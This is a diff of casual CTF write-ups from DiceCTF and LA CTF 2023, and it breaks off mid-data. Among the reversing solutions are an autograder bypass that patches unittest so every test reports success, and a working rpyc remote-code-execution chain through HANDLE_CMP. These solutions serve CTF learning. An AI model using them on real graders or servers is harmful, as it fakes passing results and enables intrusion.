Page MenuHomedesp's stash

No OneTemporary

diff --git a/ctfs/comments/dice23.md b/ctfs/comments/dice23.md
index 7b762a8..7d9c211 100644
--- a/ctfs/comments/dice23.md
+++ b/ctfs/comments/dice23.md
@@ -1,353 +1,353 @@
### parallelism
woo first flag in another month and a half again
everyones just burnt out from organizing sapling lmao so im just looking at easy challs myself too
* * *
ngl this one is just reading MPI docs lmao
i didnt have mpirun set up, so i just ended up statically reversing the entire thing
which wasnt that bad actually theres only really 3 functions in question:
- first reads the flag as root process, scramble it, and then scatters it to the rest of the processes via `MPI_scatter`
- on first glance i thought the second one was just an artifical delay of some sorts since all it does it basically just sending and recving then syncing up, but on closer look they are swapping between processes
-
+
- third one gathers back the flag and checks it against the string as root process, and does nothing as other processes
so its just a matter of rewriting the program in python without all the interprocess communciation overheads then
except i kept brainfarting and somehow thought `#!py print("".join(['m_ERpmfrNkekU4_4asI_Tra1e_4l_c4_GCDlryidS3{Ptsu9i}13Es4V73M4_ans'[s[i]] for i in range(64)]))` would give me the correctly inversed flag if `s` is the scrambled index lmao
then i went on a rabbit hole figuring out where exactly i did the swapping wrong scrutinizing every single detail in the MPI docs and trying out like 4 different variations of my swapping from doing it in parallel to making a multidimensional array to ensure im not making arithmetic mistakes on the array indices
and then i finally gave up and used z3 which instantly spewed out the flag :clown:
`dice{P4ral1isM_m4kEs_eV3ryt4InG_sUp3r_f4ST_aND_s3CuRE_a17m4k9l4}`
moral of the story: i am not to be trusted when it comes to math
*at all*
```py
from functools import reduce
from z3 import *
sol = Solver()
#s = list(range(64))
#inverse operations are not my forte :') thanks z3
s = [BitVec(f'char {i}', 8) for i in range(64)]
orig = [v for v in s]
v3 = [None]*32
v3[0] = 26
v3[1] = 32
v3[2] = 14
v3[3] = 11
v3[4] = 3
v3[5] = 1
v3[6] = 32
v3[7] = 24
v3[8] = 13
v3[9] = 17
v3[10] = 3
v3[11] = 17
v3[12] = 2
v3[13] = 13
v3[14] = 19
v3[15] = 6
v3[16] = 12
v3[17] = 22
v3[18] = 3
v3[19] = 30
v3[20] = 10
v3[21] = 6
v3[22] = 8
v3[23] = 26
v3[24] = 6
v3[25] = 22
v3[26] = 13
v3[27] = 1
v3[28] = 19
v3[29] = 1
v3[30] = 1
v3[31] = 29
#initial scramble in the first function
for i in range(32):
s[i], s[v3[i] + 31] = s[v3[i] + 31], s[i]
#"scatter" it into a two dimension array
s = [s[i:i + 8] for i in range(0, len(s), 8)]
for i in range(10000):
#swap all 8 in parallel
recv = [s[((((j + i) % 8) + 8) % 8)][(i % 8)] for j in range(8)]
for j in range(8):
s[j][(i % 8)] = recv[j]
#gather (flatten it back down)
s = reduce(list.__add__, s)
#now we can constraint and solve for the scrambled characters
for i, v in enumerate(s):
sol.add(v == b'm_ERpmfrNkekU4_4asI_Tra1e_4l_c4_GCDlryidS3{Ptsu9i}13Es4V73M4_ans'[i])
print(s)
sol.check()
model = sol.model()
for i in orig:
if str(model[i]) != 'None':
print(chr(int(str(model[i]))), end='')
print()
```
### scorescope
eyo something familiar to me lets go?? ~~totally not something ive been doing to my own courses' autograders~~
except this one highkey is easier than the hurdles prairielearn and the likes brings me through tho lmao
we get arbitrary leaks just by returning the value (albeit truncated), and theres no restrictions on whatever imports we need
so logically the first thing to do is to traverse the stack since apparently all of these autograders basically runs in the same process for some reason lol
~~like interprocess communication and isolation between graders and runners wouldve been a much better design choice to prevent grade modifications but ok~~
-anyways it seems like most of the useful variables is in the second previous frame, so after a lot of `str(inspect.currentframe().f_back.f_back.f_globals.keys())[:64]`, `[64:128]`, `[128:192]`... to leak the data out by chunks to bypass the truncation i mentioned before i finally...
+anyways it seems like most of the useful variables is in the second previous frame, so after a lot of `str(inspect.currentframe().f_back.f_back.f_globals.keys())[:64]`, `[64:128]`, `[128:192]` etc etc to leak the data out by chunks to bypass the truncation i mentioned before i finally...
got fed up with the inefficiency :upside_down:
which funnily enough is also when i saw `_common_shorten_repr` which sounds suspiciously like its responsible for the truncation
and so nooping it i go: `#!py inspect.currentframe().f_back.f_back.f_globals['_common_shorten_repr'] = lambda *str: str`
originally i guessed `#!py lambda str: str`, but that ended up spewing arcane errors about format string having not enough parameters lmao so i just let made it vararg instead
and ey i was correct now we can leak things much faster than having to stitch together chunks after multiple runs
the next thing that caught my eyes is `TestCase` - this is just from the builtin `unittest` module aint it
for it to be here it probably means they are using it to run the tests, so what if we just make all the assertions on it succeed
and with the following code
```py
# TestCase is just python unittests, we can set assert* to True to pass all assertions
inspect.currentframe().f_back.f_back.f_globals['TestCase'].assertEqual = lambda *_: True
keys = [i for i in dir(inspect.currentframe().f_back.f_back.f_globals['TestCase']) if 'assert' in i]
for key in keys:
setattr(inspect.currentframe().f_back.f_back.f_globals['TestCase'], key, lambda *_: True)
```
it actually somewhat worked
except a lot of the other test cases are still complaining about wrong format lmao so just nooping the assertions arent enough we need to noop the entire test case
after reading on how `TestCase` works for a bit i realized all test cases have to go through the `run` entrypoint
so what if we just noop that instead
turns out its slightly more complicated than just a `lambda res: None` lmao we need to get the actual test cases which subclasses `util.TestCase`, and also set the `TestResult` object to success
so with
```py
def run(self, result):
result.addSuccess(self)
return result
classes = inspect.currentframe().f_back.f_back.f_globals['TestCase'].__subclasses__()[-1].__subclasses__()
for cls in classes:
cls.run = run #replace run with one that always return success to the testresult
```
it finally works eyy
except for the `test_add_mixed` case for some reason so i just manually did the actual thing they expected and got the flag lmfao
`dice{still_more_secure_than_gradescope}` is it tho
```py
# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]
def add(a, b):
'''
Return the sum of a and b.
Parameters:
a (int): The first number to add.
b (int): The second number to add.
Returns:
int: The sum of a and b.
'''
######## YOUR CODE ########
#owo shorten repr probably can be replaced to remove that annoying truncation
import inspect
inspect.currentframe().f_back.f_back.f_globals['_common_shorten_repr'] = lambda *str: str
def run(self, result):
result.addSuccess(self)
return result
classes = inspect.currentframe().f_back.f_back.f_globals['TestCase'].__subclasses__()[-1].__subclasses__()
for cls in classes:
cls.run = run #replace run with one that always return success to the testresult
return a+b #to fix the mixed case which aint affected by changing testcases at all for some reason
###########################
def longest(words):
'''
Return the longest word in a list of words.
When there are multiple words of the same length, return the first.
Parameters:
words (list): A list of words.
Returns:
str: The longest word in the list.
'''
######## YOUR CODE ########
#code leftover from leaking chunk by chunk in parallel
#each truncation happens close to after 64 chars, so we trunc by 64 and print it in parallel to try speeding things up
import inspect
return str(inspect.currentframe().f_back.f_back.f_globals.keys())[128+128+64:128+128+128]
###########################
#omitted the rest of the functions (which are just noops) for brevity
```
### pike
lol this actually took me quite a bit of time for the amount of solves it has
like how does this have more solves than scorescope
i guess im just bad at reading docs and src efficiently lmao
had to dig for the vuln for quite a bit before realizing `HANDLE_CMP` is insecure being the only location where getattr is not protected
i was originally just doing it the normal way and hoping unlike normal pickles rpyc can transport code across to remote
so something like this would work
```py
class test():
def __add__(self, b):
breakpoint()
return subprocess.Popen('dir', shell=True, stdout=subprocess.PIPE).communicate()
print(conn.root.exposed_add(test(),test()))
```
even tried to nudge rpyc to send the code to remote with no avail lol
```py
class metatest(type):
def __add__(self, b):
import subprocess
breakpoint() #if its local i will see instantly on my current terminal - just for ease of local debugging since cwd is same for server and client and its hard to tell
return subprocess.Popen('dir', shell=True, stdout=subprocess.PIPE).communicate()
class test(metaclass=metatest):
def __init__(self) -> None:
import sys
self.sys = sys
print(conn.root.exposed_add(test,test))
```
coz i thought what if they only accounted for normal usage of functions so cases like these would be tricked into calling the local versions of the objects instead of netrefs but no its not how it works
so since it seems like normal use cases wont be able to trigger code execution on remote its time to dig deep into the src
it turns out theres a netref class in `netref.py` that basically proxies all remote objects' functions back to remote through a few handlers in `protocol.py`
which means all local references execute on local since on remote they just become a netref so they just bounce back to run the code on local (and vice versa too - all remote references will stay in remote land, but we cant really access remote references since getattr is locked down)
since it seems like there aint much we can do with the netrefs themselves, i started digging deep into the protocol handlers, which all seemed pretty secure in the `DEFAULT_CONFIG` sense - until i found `HANDLE_CMP` which just called `#!py return getattr(type(obj), op)(obj, other)` for some reason
so i started thinking if theres any attr we can leak that will help us leak more which *also* has the property of accepting 2 parameters - and it turns out `__getattr__` does exactly that
except `__getattr__` actually just bounces everything back into local:
```py
def __getattr__(self, name):
if name in DELETED_ATTRS:
raise AttributeError()
return syncreq(self, consts.HANDLE_GETATTR, name)
```
BUT `__getattribute__` DOES get the local attributes specified in the `LOCAL_ATTRS` dict which includes most useful things like `__class__` and `__dict__`
now we can finally leak remote references that are not netrefs out into our client, which once we have them should allow us to stay in remote land
we still need to continue using this vulnerable `getattr` method instead of directly `obj.attr`ing which will use the secure `HANDLE_GETATTR` handler though, but the idea stays the same as most basic pyjails
with that, we can get arbitrary code execution on remote, and the flag: `dice{pyj41l_w1th_4_tw15t}`
```py
import rpyc
from rpyc.core import consts
#the idea is that once you get a remote reference, you can stay in remote land since all calls will be directed back to remote
#however getting that remote reference in the first place is quite annoying since most useful attributes are either blocked or local
#and theres not really a way to differentiate between those unless you dive into rpyc src
#also any local references (e.g. import os; os.system is a local reference that will end up running on our local machine; a local definition of a class with modified __add__ to trick remote to run will also not work since it will bounce back to local when we do conn.root.add())
#will end up bouncing back to local so the entrypoint has to be conn.root since that's the only remote reference at start
def remote_getattr(obj, name):
#abuses the fact that CMP is the only one that doesnt have a secure check but directly uses getattr
#also abuses the fact that __getattribute__ bypasses netref calls for certain local attrs so we dont bounce back to client
return conn.sync_request(consts.HANDLE_CMP, obj, name, '__getattribute__')
def remote_setattr(obj, name, value):
conn.sync_request(consts.HANDLE_CMP, obj, '__setattr__', '__getattribute__')('exposed_' + name, value) #exposed_ bypasses restrictions
conn = rpyc.connect('127.0.0.1', port=1337)
#we can directly do remote_func() since __call__ directly calls netref request, and is not restricted unlike getattr or setattr
#manual index coz iterating through the string of the classes ends up being way too slow
remote_wrap_close = remote_getattr(remote_getattr(remote_getattr(remote_getattr(conn.root, '__class__'), '__base__'), '__base__'), '__subclasses__')()[140]
print(remote_wrap_close)
#we couldve used wrap_close's os.system instead, but we cant exfil the data from that so we go the long way and use subprocess instead
import subprocess #we can use local import coz PIPE itself is just a single int value
remote_popen = remote_getattr(remote_getattr(remote_getattr(remote_wrap_close, '__init__'), '__globals__')['__builtins__']['__import__']('subprocess'), 'Popen')
print(remote_getattr(remote_popen('cat flag.txt', shell=True, stdout=subprocess.PIPE), 'communicate')())
```
also unrelated: wsl port forward messed with my local/remote debug setup apparently lmao
and it seems like rpyc requires same (major?) version to run correctly? i was on 5.1.0 which just kept giving me connection closed by peer
this bug apparently is patched in the version i had in my python installation so im just glad i got stuck connecting to remote and downgraded to 4.1.0 before digging into the src lmao
or else i'd probably be malding over how theres no entrypoints for me to exploit at all kekw
diff --git a/ctfs/comments/lactf23.md b/ctfs/comments/lactf23.md
new file mode 100644
index 0000000..97d413f
--- /dev/null
+++ b/ctfs/comments/lactf23.md
@@ -0,0 +1,818 @@
+### universal
+
+box standard z3 chall after decompiling the class into java
+
+its always pretty nice to see a huge if statement thats a telltale sign for z3
+
+*i love regex regex lets me solve this in 2 mins :)*
+
+~~still too slow for first blood tho sadge got it 2 mins after coz i was working on snek and didnt realize this was just a z3 chall~~
+
+`lactf{1_d0nt_see_3_b1ll10n_s0lv3s_y3t}` real
+
+```py
+from z3 import *
+
+bytes = [BitVec(f'byte {i}', 8) for i in range(38)]
+
+
+s = Solver()
+
+s.add(((bytes[34] ^ bytes[23] * 7 ^ ~bytes[36] + 13) & 0xFF) == 0xB6 )
+s.add(((bytes[37] ^ bytes[10] * 7 ^ ~bytes[21] + 13) & 0xFF) == 0xDF )
+s.add(((bytes[24] ^ bytes[23] * 7 ^ ~bytes[19] + 13) & 0xFF) == 0xCD )
+s.add(((bytes[25] ^ bytes[13] * 7 ^ ~bytes[23] + 13) & 0xFF) == 0x90 )
+s.add(((bytes[6] ^ bytes[27] * 7 ^ ~bytes[25] + 13) & 0xFF) == 0x8A )
+s.add(((bytes[4] ^ bytes[32] * 7 ^ ~bytes[22] + 13) & 0xFF) == 0xE3 )
+s.add(((bytes[25] ^ bytes[19] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0x6B )
+s.add(((bytes[22] ^ bytes[7] * 7 ^ ~bytes[29] + 13) & 0xFF) == 0x55 )
+s.add(((bytes[15] ^ bytes[10] * 7 ^ ~bytes[20] + 13) & 0xFF) == 0xBC )
+s.add(((bytes[29] ^ bytes[16] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0x58 )
+s.add(((bytes[35] ^ bytes[4] * 7 ^ ~bytes[33] + 13) & 0xFF) == 0x54 )
+s.add(((bytes[36] ^ bytes[2] * 7 ^ ~bytes[4] + 13) & 0xFF) == 0x67 )
+s.add(((bytes[26] ^ bytes[3] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0xD8 )
+s.add(((bytes[12] ^ bytes[6] * 7 ^ ~bytes[18] + 13) & 0xFF) == 0xA5 )
+s.add(((bytes[12] ^ bytes[28] * 7 ^ ~bytes[36] + 13) & 0xFF) == 0x97 )
+s.add(((bytes[20] ^ bytes[0] * 7 ^ ~bytes[21] + 13) & 0xFF) == 0x65 )
+s.add(((bytes[27] ^ bytes[36] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0xF8 )
+s.add(((bytes[35] ^ bytes[2] * 7 ^ ~bytes[19] + 13) & 0xFF) == 0x2C )
+s.add(((bytes[13] ^ bytes[11] * 7 ^ ~bytes[33] + 13) & 0xFF) == 0xF2 )
+s.add(((bytes[33] ^ bytes[11] * 7 ^ ~bytes[3] + 13) & 0xFF) == 0xEB )
+s.add(((bytes[31] ^ bytes[37] * 7 ^ ~bytes[29] + 13) & 0xFF) == 0xF8 )
+s.add(((bytes[1] ^ bytes[33] * 7 ^ ~bytes[31] + 13) & 0xFF) == 0x21 )
+s.add(((bytes[34] ^ bytes[22] * 7 ^ ~bytes[35] + 13) & 0xFF) == 0x54 )
+s.add(((bytes[36] ^ bytes[16] * 7 ^ ~bytes[4] + 13) & 0xFF) == 0x4B )
+s.add(((bytes[8] ^ bytes[3] * 7 ^ ~bytes[10] + 13) & 0xFF) == 0xD6 )
+s.add(((bytes[20] ^ bytes[5] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0xC1 )
+s.add(((bytes[28] ^ bytes[34] * 7 ^ ~bytes[16] + 13) & 0xFF) == 0xD2 )
+s.add(((bytes[3] ^ bytes[35] * 7 ^ ~bytes[9] + 13) & 0xFF) == 0xCD )
+s.add(((bytes[27] ^ bytes[22] * 7 ^ ~bytes[2] + 13) & 0xFF) == 0x2E )
+s.add(((bytes[27] ^ bytes[18] * 7 ^ ~bytes[9] + 13) & 0xFF) == 0x36 )
+s.add(((bytes[3] ^ bytes[29] * 7 ^ ~bytes[22] + 13) & 0xFF) == 0x20 )
+s.add(((bytes[24] ^ bytes[4] * 7 ^ ~bytes[13] + 13) & 0xFF) == 0x63 )
+s.add(((bytes[22] ^ bytes[16] * 7 ^ ~bytes[13] + 13) & 0xFF) == 0x6C )
+s.add(((bytes[12] ^ bytes[8] * 7 ^ ~bytes[30] + 13) & 0xFF) == 0x75 )
+s.add(((bytes[25] ^ bytes[27] * 7 ^ ~bytes[35] + 13) & 0xFF) == 0x92 )
+s.add(((bytes[16] ^ bytes[10] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0xFA )
+s.add(((bytes[21] ^ bytes[25] * 7 ^ ~bytes[12] + 13) & 0xFF) == 0xC3 )
+s.add(((bytes[26] ^ bytes[10] * 7 ^ ~bytes[30] + 13) & 0xFF) == 0xCB )
+s.add(((bytes[20] ^ bytes[2] * 7 ^ ~bytes[1] + 13) & 0xFF) == 0x2F )
+s.add(((bytes[34] ^ bytes[12] * 7 ^ ~bytes[27] + 13) & 0xFF) == 0x79 )
+s.add(((bytes[19] ^ bytes[34] * 7 ^ ~bytes[20] + 13) & 0xFF) == 0xF6 )
+s.add(((bytes[25] ^ bytes[22] * 7 ^ ~bytes[14] + 13) & 0xFF) == 0x3D )
+s.add(((bytes[19] ^ bytes[28] * 7 ^ ~bytes[37] + 13) & 0xFF) == 0xBD )
+s.add(((bytes[24] ^ bytes[9] * 7 ^ ~bytes[17] + 13) & 0xFF) == 0xB9)
+
+for b in bytes:
+ s.add(b >= 0x20)
+ s.add(b <= 0x7F)
+
+s.check()
+
+model = s.model()
+
+for i in bytes:
+ if str(model[i]) != 'None':
+ print(chr(int(str(model[i]))), end='')
+```
+
+
+### snek
+
+ngl this was kinda fun i get to use my niche pickling knowledge from kevin higgs revenge in gdg lmao
+
+~~though it ended up being me just dumping the code and not actually reversing the pickle anyway~~
+
+since we are given a blob thats very clearly a pickle coz of the `#!py __import__('pickle').loads`, ofc the first thing to do is to `#!py import pickletools; pickletools.dis` it
+
+and holy thats a huge pickle
+
+we can clearly see that the top part is a character mapping though which is utilized through `MEMOIZE` and `GET` and `#!py builtins.str.join`
+
+so with a bit of ~~scuffed~~ parsing we can extract the mapping:
+```py
+import pickletools, io, re
+
+data = io.StringIO()
+#blob omitted since its way too big to paste here
+pickletools.dis(blob, out=data)
+data = data.getvalue().split('\n')
+
+alph = ""
+for i, line in enumerate(data):
+ if 'MEMOIZE' in line and 'BINUNICODE' in data[i-1]:
+ alph += eval(data[i-1].split('BINUNICODE ')[1])
+
+print(alph.encode())
+```
+
+and with the mapping we can extract a lot of data on what is being called and whatnot ~~through another scuffed af parser~~:
+```py
+currstr = ""
+for i, line in enumerate(data):
+
+ if 'GET' in line:
+ currstr += alph[int(line[line.index('GET ') + len('GET '):])]
+ elif 'REDUCE' in line and 'LIST' not in data[i-2] and 'GET' not in data[i-3]:
+ print('CALL ABOVE')
+ elif 'STACK_GLOBAL' in line:
+ print('GET OBJ')
+ elif 'BINBYTES' in line:
+ print('ARG BYTES')
+ else:
+ if currstr:
+ print(currstr)
+ currstr = ""
+```
+which tells roughly what strings should be treated as an object and whats being called on what
+
+looking at the strings in a stack based mindset and referring back to the pickle its not too hard to realize what the `BINBYTES` blobs inside the pickle are:
+
+<div class="table-responsive">
+<table class="w-100">
+<tr>
+<td class="p-2 w-100">
+
+```
+builtins
+bytes
+GET OBJ
+builtins
+map
+GET OBJ
+functools
+partial
+GET OBJ
+operator
+and_
+GET OBJ
+CALL ABOVE
+itertools
+starmap
+GET OBJ
+operator
+xor
+GET OBJ
+builtins
+enumerate
+GET OBJ
+ARG BYTES
+CALL ABOVE
+CALL ABOVE
+CALL ABOVE
+CALL ABOVE
+```
+
+</td>
+<td class="p-2 w-100">→</td>
+<td class="p-2 w-100">
+
+```py
+import itertools, operator, functools
+byte1 = bytes(map(functools.partial(operator.and_, 255), itertools.starmap(operator.xor, enumerate(byte1))))
+
+import dis
+dis.dis(byte1)
+```
+
+</td>
+</tr>
+
+<tr>
+<td class="p-2 w-100">
+
+```
+pickle
+loads
+builtins
+bytes
+builtins
+reversed
+ARG BYTES
+CALL ABOVE
+CALL ABOVE
+CALL ABOVE
+```
+
+</td>
+<td class="p-2 w-100">→</td>
+<td class="p-2 w-100">
+
+```py
+byte2 = byte2[::-1]
+pickletools.dis(byte2)
+```
+
+</td>
+</tr>
+</table>
+</div>
+
+which yields us one bytecode blob and one pickle blob, both perfectly disassemblable
+
+but looking at the disassemblies, we see another spam of things like:
+```text
+ 369: \x94 MEMOIZE (as 56)
+ 370: K BININT1 17
+ 372: K BININT1 3
+ 374: \x86 TUPLE2
+ 375: \x94 MEMOIZE (as 57)
+ 376: K BININT1 17
+ 378: K BININT1 9
+```
+and some bytecode that i didnt really wanna read through which also cant be decompiled since i dont have the data for co_names and all that yet
+
+if i really wanna make it decompilable, ill probably have to reverse the rest of the main pickle which seems to grab a reference of the code object class, instantiate it with a lot of weird stuff (namely just `snek`s everywhere), and setting that to `#!py pickle.encode_long.__code__`
+
+which i honestly wasnt too keen on making another parser for
+
+but its also at this point where i saw the single `BUILD` call, and i figured since they are calling the function here anyway why dont i just hook the `BUILD` opcode handler and just dump the fully built code object
+
+which is surprisingly straightforward if we copy the handler from src and call unpickler directly
+```py
+import pickle, importlib
+
+def load_build(self):
+ stack = self.stack
+ state = stack.pop()
+ with open('testsnek.pyc', 'wb') as w:
+ code = state[1]['__code__'].replace(co_varnames=tuple([v+str(i) for i,v in enumerate(state[1]['__code__'].co_varnames)]))
+ print(code.co_consts)
+ w.write(importlib._bootstrap_external._code_to_timestamp_pyc(code))
+ #https://stackoverflow.com/questions/73439775/how-to-convert-marshall-code-object-to-pyc-file
+ inst = stack[-1]
+ setstate = getattr(inst, "__setstate__", None)
+ if setstate is not None:
+ setstate(state)
+ return
+ slotstate = None
+ if isinstance(state, tuple) and len(state) == 2:
+ state, slotstate = state
+ if state:
+ inst_dict = inst.__dict__
+ intern = sys.intern
+ for k, v in state.items():
+ if type(k) is str:
+ inst_dict[intern(k)] = v
+ else:
+ inst_dict[k] = v
+ if slotstate:
+ for k, v in slotstate.items():
+ setattr(inst, k, v)
+
+pickle._Unpickler.dispatch[pickle.BUILD[0]] = load_build
+
+#once again skipping the blob
+s = blob
+
+import io
+pickle._Unpickler(io.BytesIO(s), fix_imports=True, encoding="ASCII", errors="strict", buffers=None).load()
+```
+(the `#!py [v+str(i) for i,v in enumerate(state[1]['__code__'].co_varnames)]` is for replacing the variables names which are all `snek` that somehow works in code objects (coz presumably the variable name parsing stage is by the compiler i guess) but is just hard to read during decomp)
+
+now that we got the pyc file, we can just run something like `pycdc testsnek.pyc`:
+```
+# Source Generated with Decompyle++
+# File: testsnek.pyc (Python 3.10)
+
+Unsupported opcode: BUILD_SET
+import pickle as snek
+snek.encode_long.__code__ = snek.encode_long.__code__
+import time as snek
+snek = deque
+import collections
+snek = 20
+snek = 0x1C5CF1CC586592A8151C3C3A5L
+# WARNING: Decompyle incomplete
+```
+oh right i forgot nothing really decompiles 3.10 yet :sob:
+
+time to do the same thing i did in nahamcon for `brainmelt` and patch `ASTree.cpp`:
+```diff
+diff --git a/ASTree.cpp b/ASTree.cpp
+index 1c283a1..da9ab9a 100644
+--- a/ASTree.cpp
++++ b/ASTree.cpp
+@@ -453,6 +453,7 @@ PycRef<ASTNode> BuildFromCode(PycRef<PycCode> code, PycModule* mod)
+ stack.push(new ASTJoinedStr(values));
+ }
+ break;
++ case Pyc::BUILD_SET_A:
+ case Pyc::BUILD_TUPLE_A:
+ {
+ ASTTuple::value_t values;
+@@ -1547,6 +1548,55 @@ PycRef<ASTNode> BuildFromCode(PycRef<PycCode> code, PycModule* mod)
+ }
+ }
+ break;
++ case Pyc::SET_UPDATE_A: //TODO
++ {
++ PycRef<ASTNode> rhs = stack.top();
++ stack.pop();
++ PycRef<ASTNode> lhs = stack.top().cast<ASTNode>();
++ stack.pop();
++
++ if (rhs.type() != ASTNode::NODE_OBJECT) {
++ fprintf(stderr, "Unsupported argument found for LIST_EXTEND\n");
++ break;
++ }
++
++ // I've only ever seen this be a SMALL_TUPLE, but let's be careful...
++ PycRef<PycObject> obj = rhs.cast<ASTObject>()->object();
++ ASTList::value_t result = ASTList::value_t();
++ if (obj->type() != PycObject::TYPE_TUPLE && obj->type() != PycObject::TYPE_SMALL_TUPLE) {
++ printf("%c\n", obj->type());
++ // fprintf(stderr, "Unsupported argument type found for LIST_EXTEND\n");
++
++ //for frozensets
++ if(obj->type() == PycObject::TYPE_LIST) {
++ for (const auto& it : lhs.cast<PycList>()->values()) {
++ result.push_back(new ASTObject(it));
++ }
++ } else if(obj->type() == PycObject::TYPE_SET) {
++ for (const auto& it : lhs.cast<PycSet>()->values()) {
++ result.push_back(new ASTObject(it));
++ }
++ }
++
++ } else {
++ //for tuples
++ for (const auto& it : lhs.cast<PycSet>()->values()) {
++ result.push_back(new ASTObject(it));
++ }
++ }
++
++ stack.push(new ASTList(result));
++ }
++ break;
+ case Pyc::LIST_EXTEND_A:
+ {
+ PycRef<ASTNode> rhs = stack.top();
+```
+and yes in case you are wondering i basically just copied the code from other opcode handlers coz all i need is for it to pass and create a good looking enough decomp lmao
+
+doesnt have to be accurate coz ill have to clean it up anyway
+
+running it again yields us a way better decomp:
+```py
+import pickle as snek0
+snek0.encode_long.__code__ = snek0.encode_long.__code__
+import time as snek1
+snek2 = deque
+import collections
+snek3 = 20
+snek4 = 0x1C5CF1CC586592A8151C3C3A5L
+snek5 = [
+ [],
+ [],
+ [],
+ [],
+ [],
+ [],
+ [],
+ [],
+ [],
+ []]
+snek6 = snek2([
+ (0, 0)])
+snek7 = (1, 0)
+snek8 = 0
+snek9 = snek2([])
+snek10 = []
+snek11 = ''
+for snek12 in range(snek3):
+ snek13 = ''
+ for snek14 in range(snek3):
+ if (snek12, snek14) in snek6:
+ snek13 += '#'
+ continue
+ if (snek12, snek14) in snek5[snek8]:
+ snek13 += 'o'
+ continue
+ snek13 += '.'
+ snek11 += snek13 + '\n'
+print(snek11, True, **('flush',))
+if len(snek9) > 0:
+ snek15 = snek9.popleft()
+ if isinstance(snek15, int) or snek15.isdigit():
+ snek15 = int(snek15)
+ snek15 -= 1
+ if snek15 > 0:
+ snek9.appendleft(snek15)
+ snek16 = snek6[0]
+ snek17 = (snek16[0] + snek7[0], snek16[1] + snek7[1])
+ if snek17[0] < 0 and snek17[0] >= snek3 and snek17[1] < 0 or snek17[1] >= snek3:
+ print('snek dead :(')
+ return None
+ None.appendleft(snek17)
+ if snek17 in snek5[snek8]:
+ snek8 += 1
+ snek10.append(snek17)
+ if snek8 == len(snek5):
+ snek18 = 0
+ for snek19, snek20 in snek10:
+ snek18 ^= 1337
+ snek18 *= snek3 ** 2
+ snek18 += snek19 * snek3 + snek20
+ if snek4 == snek18:
+ print('snek happy :D')
+ print(open('flag.txt', 'r').read().strip())
+ return None
+ None('snek sad :(')
+ return None
+ snek6.pop()
+ elif snek15 == 'L':
+ snek7 = (-snek7[1], snek7[0])
+ elif snek15 == 'R':
+ snek7 = (snek7[1], -snek7[0])
+ else:
+ print('snek confused :(')
+ return None
+ None.sleep(0.1)
+else:
+ snek9.extend(input('snek? ').strip().split())
+continue
+```
+
+though its clear that my code didnt deal with frozensets as well as i hoped LMAO
+
+but then again we can see `snek5` has the same length as the frozensets list in `co_consts` so we can just sub it in
+
+along with fixing some clearly broken code like `#!py None.sleep(0.1)` and some renaming we finally can get a runnable decomp and a pretty good understanding on what its doing:
+```py
+import pickle as snek0
+snek0.encode_long.__code__ = snek0.encode_long.__code__
+import time
+import collections as snek2
+snek2 = snek2.deque
+bound = 20
+final = 0x1C5CF1CC586592A8151C3C3A5
+data = [frozenset({(6, 12), (3, 4), (4, 9), (19, 6), (9, 5), (14, 19), (5, 16), (19, 9), (10, 0), (8, 6), (8, 9), (10, 9), (17, 12), (8, 3), (1, 3), (16, 7), (7, 7), (14, 9), (17, 5), (14, 12), (4, 11), (5, 12), (8, 11), (19, 8), (8, 14), (19, 14), (9, 16), (0, 16), (11, 16), (16, 3), (18, 12), (16, 18), (7, 18), (4, 7), (4, 1), (4, 4), (4, 16), (5, 5), (8, 4), (17, 1), (19, 1), (11, 0), (14, 17), (0, 6), (16, 2), (1, 13), (2, 15), (18, 5), (15, 12), (16, 11)}), frozenset({(6, 18), (6, 15), (17, 3), (5, 1), (17, 9), (14, 13), (5, 10), (8, 9), (14, 19), (11, 5), (10, 9), (9, 11), (8, 15), (2, 5), (1, 18), (12, 3), (14, 6), (15, 9), (14, 9), (3, 9), (5, 3), (17, 11), (4, 11), (5, 15), (8, 14), (11, 10), (2, 7), (9, 19), (2, 13), (6, 7), (18, 6), (6, 3), (14, 2), (5, 2), (12, 17), (3, 8), (3, 17), (17, 10), (17, 16), (0, 3), (2, 0), (17, 19), (8, 13), (2, 9), (10, 16), (15, 0), (13, 3), (1, 16), (13, 15), (18, 11)}), frozenset({(18, 17), (7, 17), (3, 1), (3, 10), (3, 16), (5, 13),
+(5, 1), (8, 3), (8, 18), (1, 12), (6, 2), (16, 16), (15, 17), (6, 17), (14, 0), (17, 2), (14, 9), (5, 3), (9, 1), (17, 14), (8, 11), (8, 5), (10, 5), (8, 17), (2, 7), (15, 4), (13, 1), (1, 5), (0, 13), (19, 17), (7, 9), (6, 13), (12, 8), (17, 7), (4, 13), (19, 1), (9, 9), (14, 17), (5, 14), (5, 17), (11, 9), (10, 7), (10, 1), (9, 15), (0, 12), (0, 15), (10, 19), (18, 2), (16, 11), (15, 15)}), frozenset({(3, 4), (14, 4), (12, 10), (3, 7), (4, 6), (5, 7), (19, 6), (4, 15), (19, 3), (0, 5), (0, 8), (11, 17), (2, 8), (15, 17), (7, 13), (3, 0), (4, 5), (14, 3), (14, 18), (3, 18), (12, 18), (3,
